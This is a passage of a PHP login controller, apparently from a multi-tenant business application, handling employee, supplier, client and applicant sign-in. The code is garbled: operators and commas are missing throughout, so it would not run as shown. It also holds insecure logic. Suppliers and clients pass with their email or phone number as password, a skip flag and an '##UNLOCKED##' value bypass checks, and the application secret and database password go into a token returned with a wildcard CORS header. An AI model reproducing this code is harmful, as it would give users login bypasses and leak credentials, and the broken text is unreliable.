  3799.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3800.                             //                    return $response;
  3801.                         }
  3802.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3803.                             "message" => $message,
  3804.                             'page_title' => "Login",
  3805.                             'gocList' => $gocDataList,
  3806.                             'gocId' => $gocId
  3807.                         ));
  3808.                     }
  3809.                     if ($user) {
  3810.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  3811.                             $message "Sorry, Your Account is Deactivated";
  3812.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3813.                                 return new JsonResponse(array(
  3814.                                     'uid' => $session->get(UserConstants::USER_ID),
  3815.                                     'session' => $session,
  3816.                                     'success' => false,
  3817.                                     'errorStr' => $message,
  3818.                                     'session_data' => [],
  3819.                                 ));
  3820.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3821.                                 //                    return $response;
  3822.                             }
  3823.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3824.                                 "message" => $message,
  3825.                                 'page_title' => "Login",
  3826.                                 'gocList' => $gocDataList,
  3827.                                 'gocId' => $gocId
  3828.                             ));
  3829.                         }
  3830.                     }
  3831.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  3832.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  3833.                         $message "Wrong Email/Password";
  3834.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3835.                             return new JsonResponse(array(
  3836.                                 'uid' => $session->get(UserConstants::USER_ID),
  3837.                                 'session' => $session,
  3838.                                 'success' => false,
  3839.                                 'errorStr' => $message,
  3840.                                 'session_data' => [],
  3841.                             ));
  3842.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3843.                             //                    return $response;
  3844.                         }
  3845.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3846.                             "message" => $message,
  3847.                             'page_title' => "Login",
  3848.                             'gocList' => $gocDataList,
  3849.                             'gocId' => $gocId
  3850.                         ));
  3851.                     }
  3852.                 }
  3853.                 if ($user) {
  3854.                     //set cookie
  3855.                     if ($remember_me == 1)
  3856.                         $session->set('REMEMBERME'1);
  3857.                     else
  3858.                         $session->set('REMEMBERME'0);
  3859.                     $userType $user->getUserType();
  3860.                     // Entity User
  3861.                     $userId $user->getUserId();
  3862.                     $session->set(UserConstants::USER_ID$user->getUserId());
  3863.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  3864.                     $session->set('firstLogin'$firstLogin);
  3865.                     $session->set(UserConstants::USER_TYPE$userType);
  3866.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  3867.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  3868.                     $session->set('oAuthImage'$user->getOAuthImage());
  3869.                     $session->set(UserConstants::USER_NAME$user->getName());
  3870.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3871.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  3872.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  3873.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  3874.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  3875.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  3876.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  3877.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  3878.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  3879.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  3880.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  3881.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  3882.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  3883.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3884.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3885.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3886.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3887.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3888.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3889.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  3890.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  3891.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  3892.                     $route_list_array = [];
  3893.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  3894.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  3895.                     $loginID EntityUserM::addEntityUserLoginLog(
  3896.                         $em_goc,
  3897.                         $userId,
  3898.                         $request->server->get("REMOTE_ADDR"),
  3899.                         0,
  3900.                         $deviceId,
  3901.                         $oAuthData['token'],
  3902.                         $oAuthData['type']
  3903.                     );
  3904.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  3905.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3906.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3907.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3908.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3909.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3910.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3911.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  3912.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3913.                     $appIdList json_decode($user->getUserAppIdList());
  3914.                     if ($appIdList == null)
  3915.                         $appIdList = [];
  3916.                     $companyIdListByAppId = [];
  3917.                     $companyNameListByAppId = [];
  3918.                     $companyImageListByAppId = [];
  3919.                     if (!in_array($user->getUserAppId(), $appIdList))
  3920.                         $appIdList[] = $user->getUserAppId();
  3921.                     foreach ($appIdList as $currAppId) {
  3922.                         if ($currAppId == $user->getUserAppId()) {
  3923.                             foreach ($company_id_list as $index_company => $company_id) {
  3924.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3925.                                 $app_company_index $currAppId '_' $company_id;
  3926.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3927.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3928.                             }
  3929.                         } else {
  3930.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3931.                                 $this->getDoctrine()->getManager('company_group'),
  3932.                                 $gocEnabled,
  3933.                                 $currAppId
  3934.                             );
  3935.                             if (!empty($dataToConnect)) {
  3936.                                 $connector $this->container->get('application_connector');
  3937.                                 $connector->resetConnection(
  3938.                                     'default',
  3939.                                     $dataToConnect['dbName'],
  3940.                                     $dataToConnect['dbUser'],
  3941.                                     $dataToConnect['dbPass'],
  3942.                                     $dataToConnect['dbHost'],
  3943.                                     $reset true
  3944.                                 );
  3945.                                 $em $this->getDoctrine()->getManager();
  3946.                                 $companyList Company::getCompanyListWithImage($em);
  3947.                                 foreach ($companyList as $c => $dta) {
  3948.                                     //                                $company_id_list[]=$c;
  3949.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3950.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3951.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3952.                                     $app_company_index $currAppId '_' $c;
  3953.                                     $company_locale $companyList[$c]['locale'];
  3954.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3955.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3956.                                 }
  3957.                             }
  3958.                         }
  3959.                     }
  3960.                     $session->set('appIdList'$appIdList);
  3961.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  3962.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  3963.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  3964.                     $branchIdList json_decode($user->getUserBranchIdList());
  3965.                     $branchId $user->getUserBranchId();
  3966.                     $session->set('branchIdList'$branchIdList);
  3967.                     $session->set('branchId'$branchId);
  3968.                     if ($user->getAllModuleAccessFlag() == 1)
  3969.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3970.                     else
  3971.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3972.                     $session_data = array(
  3973.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  3974.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  3975.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  3976.                         'firstLogin' => $firstLogin,
  3977.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  3978.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  3979.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  3980.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  3981.                         'oAuthImage' => $session->get('oAuthImage'),
  3982.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  3983.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  3984.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  3985.                         UserConstants::USER_COMPANY_LOCALE => $session->get(UserConstants::USER_COMPANY_LOCALE),
  3986.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  3987.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  3988.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  3989.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  3990.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  3991.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  3992.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  3993.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  3994.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  3995.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  3996.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  3997.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  3998.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  3999.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  4000.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  4001.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  4002.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  4003.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  4004.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4005.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4006.                         //new
  4007.                         'appIdList' => $session->get('appIdList'),
  4008.                         'branchIdList' => $session->get('branchIdList'null),
  4009.                         'branchId' => $session->get('branchId'null),
  4010.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  4011.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  4012.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  4013.                     );
  4014.                     $session_data $this->filterClientSessionData($session_data);
  4015.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4016.                     $token $tokenData['token'];
  4017.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4018.                         $session->set('remoteVerified'1);
  4019.                         $response = new JsonResponse(array(
  4020.                             'token' => $token,
  4021.                             'uid' => $session->get(UserConstants::USER_ID),
  4022.                             'session' => $session,
  4023.                             'success' => true,
  4024.                             'session_data' => $session_data,
  4025.                         ));
  4026.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4027.                         return $response;
  4028.                     }
  4029.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  4030.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  4031.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  4032.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  4033.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4034.                                 return $this->redirect($red);
  4035.                             }
  4036.                         } else {
  4037.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4038.                         }
  4039.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  4040.                         return $this->redirectToRoute("dashboard");
  4041.                     else
  4042.                         return $this->redirectToRoute($user->getDefaultRoute());
  4043. //                    if ($request->server->has("HTTP_REFERER")) {
  4044. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  4045. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  4046. //                        }
  4047. //                    }
  4048. //
  4049. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4050. //                    if ($request->request->has('referer_path')) {
  4051. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4052. //                            return $this->redirect($request->request->get('referer_path'));
  4053. //                        }
  4054. //                    }
  4055.                     //                    if($request->request->has('gocId')
  4056.                 }
  4057.             } else {
  4058.                 if ($specialLogin == 1) {
  4059.                 } else if (strpos($uname'SID-') !== false) {
  4060.                     $specialLogin 1;
  4061.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  4062.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4063.                     //*** supplier id will be last 6 DIgits
  4064.                     $str_app_id_supplier_id substr($uname4);
  4065.                     //                if((1*$str_app_id_supplier_id)>1000000)
  4066.                     {
  4067.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  4068.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  4069.                     }
  4070.                     //                else
  4071.                     //                {
  4072.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  4073.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  4074.                     //                }
  4075.                 } else if (strpos($uname'CID-') !== false) {
  4076.                     $specialLogin 1;
  4077.                     $userType UserConstants::USER_TYPE_CLIENT;
  4078.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4079.                     //*** supplier id will be last 6 DIgits
  4080.                     $str_app_id_client_id substr($uname4);
  4081.                     $clientId = ($str_app_id_client_id) % 1000000;
  4082.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  4083.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  4084.                     $specialLogin 1;
  4085.                     $userType UserConstants::USER_TYPE_APPLICANT;
  4086.                     $isApplicantLogin 1;
  4087.                     if ($oAuthData) {
  4088.                         $email $oAuthData['email'];
  4089.                         $userName $email;
  4090. //                        $userName = explode('@', $email)[0];
  4091. //                        $userName = str_split($userName);
  4092. //                        $userNameArr = $userName;
  4093.                     } else if (strpos($uname'APP-') !== false) {
  4094.                         $email $uname;
  4095.                         $userName substr($email4);
  4096. //                        $userNameArr = str_split($userName);
  4097. //                        $generatedIdFromAscii = 0;
  4098. //                        foreach ($userNameArr as $item) {
  4099. //                            $generatedIdFromAscii += ord($item);
  4100. //                        }
  4101. //
  4102. //                        $str_app_id_client_id = $generatedIdFromAscii;
  4103. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  4104. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  4105.                     } else {
  4106.                         $email $uname;
  4107.                         $userName $uname;
  4108. //                            $userName = substr($email, 4);
  4109. //                        $userName = explode('@', $email)[0];
  4110. //                            $userNameArr = str_split($userName);
  4111.                     }
  4112.                 }
  4113.                 $data = array();
  4114.                 if ($hasGoc == 1) {
  4115.                     if ($gocId != && $gocId != "") {
  4116. //                        $gocId = $request->request->get('gocId');
  4117.                         $gocDbName $gocDataList[$gocId]['dbName'];
  4118.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  4119.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  4120.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  4121.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  4122.                         $connector $this->container->get('application_connector');
  4123.                         $connector->resetConnection(
  4124.                             'default',
  4125.                             $gocDataList[$gocId]['dbName'],
  4126.                             $gocDataList[$gocId]['dbUser'],
  4127.                             $gocDataList[$gocId]['dbPass'],
  4128.                             $gocDataList[$gocId]['dbHost'],
  4129.                             $reset true
  4130.                         );
  4131.                     } else if ($appId != && $appId != "") {
  4132.                         $gocId $request->request->get('gocId');
  4133.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  4134.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  4135.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  4136.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  4137.                         $gocId $gocDataListByAppId[$appId]['id'];
  4138.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  4139.                         $connector $this->container->get('application_connector');
  4140.                         $connector->resetConnection(
  4141.                             'default',
  4142.                             $gocDbName,
  4143.                             $gocDbUser,
  4144.                             $gocDbPass,
  4145.                             $gocDbHost,
  4146.                             $reset true
  4147.                         );
  4148.                     }
  4149.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  4150.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  4151.                     if ($gocId != && $gocId != "") {
  4152.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  4153.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  4154.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  4155.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  4156.                         $connector $this->container->get('application_connector');
  4157.                         $connector->resetConnection(
  4158.                             'default',
  4159.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  4160.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  4161.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  4162.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  4163.                             $reset true
  4164.                         );
  4165.                     }
  4166.                 }
  4167.                 $session $request->getSession();
  4168.                 $em $this->getDoctrine()->getManager();
  4169.                 //will work on later on supplier login
  4170.                 if ($specialLogin == 1) {
  4171.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  4172.                         //validate supplier
  4173.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  4174.                             ->findOneBy(
  4175.                                 array(
  4176.                                     'supplierId' => $supplierId
  4177.                                 )
  4178.                             );
  4179.                         if (!$supplier) {
  4180.                             $message "Wrong UserName";
  4181.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4182.                                 return new JsonResponse(array(
  4183.                                     'uid' => $session->get(UserConstants::USER_ID),
  4184.                                     'session' => $session,
  4185.                                     'success' => false,
  4186.                                     'errorStr' => $message,
  4187.                                     'session_data' => [],
  4188.                                 ));
  4189.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4190.                                 //                    return $response;
  4191.                             }
  4192.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4193.                                 "message" => $message,
  4194.                                 'page_title' => "Login",
  4195.                                 'gocList' => $gocDataList,
  4196.                                 'gocId' => $gocId
  4197.                             ));
  4198.                         }
  4199.                         if ($supplier) {
  4200.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  4201.                                 $message "Sorry, Your Account is Deactivated";
  4202.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4203.                                     return new JsonResponse(array(
  4204.                                         'uid' => $session->get(UserConstants::USER_ID),
  4205.                                         'session' => $session,
  4206.                                         'success' => false,
  4207.                                         'errorStr' => $message,
  4208.                                         'session_data' => [],
  4209.                                     ));
  4210.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4211.                                     //                    return $response;
  4212.                                 }
  4213.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4214.                                     "message" => $message,
  4215.                                     'page_title' => "Login",
  4216.                                     'gocList' => $gocDataList,
  4217.                                     'gocId' => $gocId
  4218.                                 ));
  4219.                             }
  4220.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  4221.                                 //pass ok proceed
  4222.                             } else {
  4223.                                 if ($skipPassword == 1) {
  4224.                                 } else {
  4225.                                     $message "Wrong Email/Password";
  4226.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4227.                                         return new JsonResponse(array(
  4228.                                             'uid' => $session->get(UserConstants::USER_ID),
  4229.                                             'session' => $session,
  4230.                                             'success' => false,
  4231.                                             'errorStr' => $message,
  4232.                                             'session_data' => [],
  4233.                                         ));
  4234.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4235.                                         //                    return $response;
  4236.                                     }
  4237.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4238.                                         "message" => $message,
  4239.                                         'page_title' => "Login",
  4240.                                         'gocList' => $gocDataList,
  4241.                                         'gocId' => $gocId
  4242.                                     ));
  4243.                                 }
  4244.                             }
  4245.                             $jd = [$supplier->getCompanyId()];
  4246.                             if ($jd != null && $jd != '' && $jd != [])
  4247.                                 $company_id_list $jd;
  4248.                             else
  4249.                                 $company_id_list = [1];
  4250.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4251.                             foreach ($company_id_list as $c) {
  4252.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4253.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4254.                             }
  4255.                             $user $supplier;
  4256.                         }
  4257.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  4258.                         //validate supplier
  4259.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  4260.                             ->findOneBy(
  4261.                                 array(
  4262.                                     'clientId' => $clientId
  4263.                                 )
  4264.                             );
  4265.                         if (!$client) {
  4266.                             $message "Wrong UserName";
  4267.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4268.                                 return new JsonResponse(array(
  4269.                                     'uid' => $session->get(UserConstants::USER_ID),
  4270.                                     'session' => $session,
  4271.                                     'success' => false,
  4272.                                     'errorStr' => $message,
  4273.                                     'session_data' => [],
  4274.                                 ));
  4275.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4276.                                 //                    return $response;
  4277.                             }
  4278.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4279.                                 "message" => $message,
  4280.                                 'page_title' => "Login",
  4281.                                 'gocList' => $gocDataList,
  4282.                                 'gocId' => $gocId
  4283.                             ));
  4284.                         }
  4285.                         if ($client) {
  4286.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  4287.                                 $message "Sorry, Your Account is Deactivated";
  4288.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4289.                                     return new JsonResponse(array(
  4290.                                         'uid' => $session->get(UserConstants::USER_ID),
  4291.                                         'session' => $session,
  4292.                                         'success' => false,
  4293.                                         'errorStr' => $message,
  4294.                                         'session_data' => [],
  4295.                                     ));
  4296.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4297.                                     //                    return $response;
  4298.                                 }
  4299.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4300.                                     "message" => $message,
  4301.                                     'page_title' => "Login",
  4302.                                     'gocList' => $gocDataList,
  4303.                                     'gocId' => $gocId
  4304.                                 ));
  4305.                             }
  4306.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  4307.                                 //pass ok proceed
  4308.                             } else {
  4309.                                 if ($skipPassword == 1) {
  4310.                                 } else {
  4311.                                     $message "Wrong Email/Password";
  4312.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4313.                                         return new JsonResponse(array(
  4314.                                             'uid' => $session->get(UserConstants::USER_ID),
  4315.                                             'session' => $session,
  4316.                                             'success' => false,
  4317.                                             'errorStr' => $message,
  4318.                                             'session_data' => [],
  4319.                                         ));
  4320.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4321.                                         //                    return $response;
  4322.                                     }
  4323.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4324.                                         "message" => $message,
  4325.                                         'page_title' => "Login",
  4326.                                         'gocList' => $gocDataList,
  4327.                                         'gocId' => $gocId
  4328.                                     ));
  4329.                                 }
  4330.                             }
  4331.                             $jd = [$client->getCompanyId()];
  4332.                             if ($jd != null && $jd != '' && $jd != [])
  4333.                                 $company_id_list $jd;
  4334.                             else
  4335.                                 $company_id_list = [1];
  4336.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4337.                             foreach ($company_id_list as $c) {
  4338.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4339.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4340.                             }
  4341.                             $user $client;
  4342.                         }
  4343.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  4344.                         $em $this->getDoctrine()->getManager('company_group');
  4345.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  4346.                         if ($oAuthData) {
  4347.                             $oAuthEmail $oAuthData['email'];
  4348.                             $oAuthUniqueId $oAuthData['uniqueId'];
  4349.                             $user $applicantRepo->findOneBy(['email' => $oAuthEmail]);
  4350.                             if (!$user)
  4351.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  4352.                         } else {
  4353.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  4354.                             if (!$user)
  4355.                                 $user $applicantRepo->findOneBy(['email' => $email]);
  4356.                             if (!$user)
  4357.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  4358.                         }
  4359.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  4360. //                        if($systemType=='_BUDDYBEE_')
  4361. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  4362.                         if (!$user) {
  4363.                             $message "We could not find your username or email";
  4364.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4365.                                 return new JsonResponse(array(
  4366.                                     'uid' => $session->get(UserConstants::USER_ID),
  4367.                                     'session' => $session,
  4368.                                     'success' => false,
  4369.                                     'errorStr' => $message,
  4370.                                     'session_data' => [],
  4371.                                 ));
  4372.                             }
  4373.                             if ($systemType == '_BUDDYBEE_')
  4374.                                 return $this->redirectToRoute("applicant_login", [
  4375.                                     "message" => $message,
  4376.                                     "errorField" => 'username',
  4377.                                 ]);
  4378.                             else if ($systemType == '_CENTRAL_')
  4379.                                 return $this->redirectToRoute("central_login", [
  4380.                                     "message" => $message,
  4381.                                     "errorField" => 'username',
  4382.                                 ]);
  4383.                             else if ($systemType == '_SOPHIA_')
  4384.                                 return $this->redirectToRoute("sophia_login", [
  4385.                                     "message" => $message,
  4386.                                     "errorField" => 'username',
  4387.                                 ]);
  4388.                             else
  4389.                                 return $this->render($redirect_login_page_twig, array(
  4390.                                     "message" => $message,
  4391.                                     'page_title' => "Login",
  4392.                                     'gocList' => $gocDataList,
  4393.                                     'gocId' => $gocId
  4394.                                 ));
  4395.                         }
  4396.                         if ($user) {
  4397.                             if ($oAuthData) {
  4398.                                 // user passed
  4399.                             } else {
  4400.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4401.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4402. //                                    if ($user->getPassword() == $request->request->get('password')) {
  4403. //                                        // user passed
  4404. //                                    } else {
  4405.                                     $message "Oops! Wrong Password";
  4406.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  4407.                                         return new JsonResponse(array(
  4408.                                             'uid' => $session->get(UserConstants::USER_ID),
  4409.                                             'session' => $session,
  4410.                                             'success' => false,
  4411.                                             'errorStr' => $message,
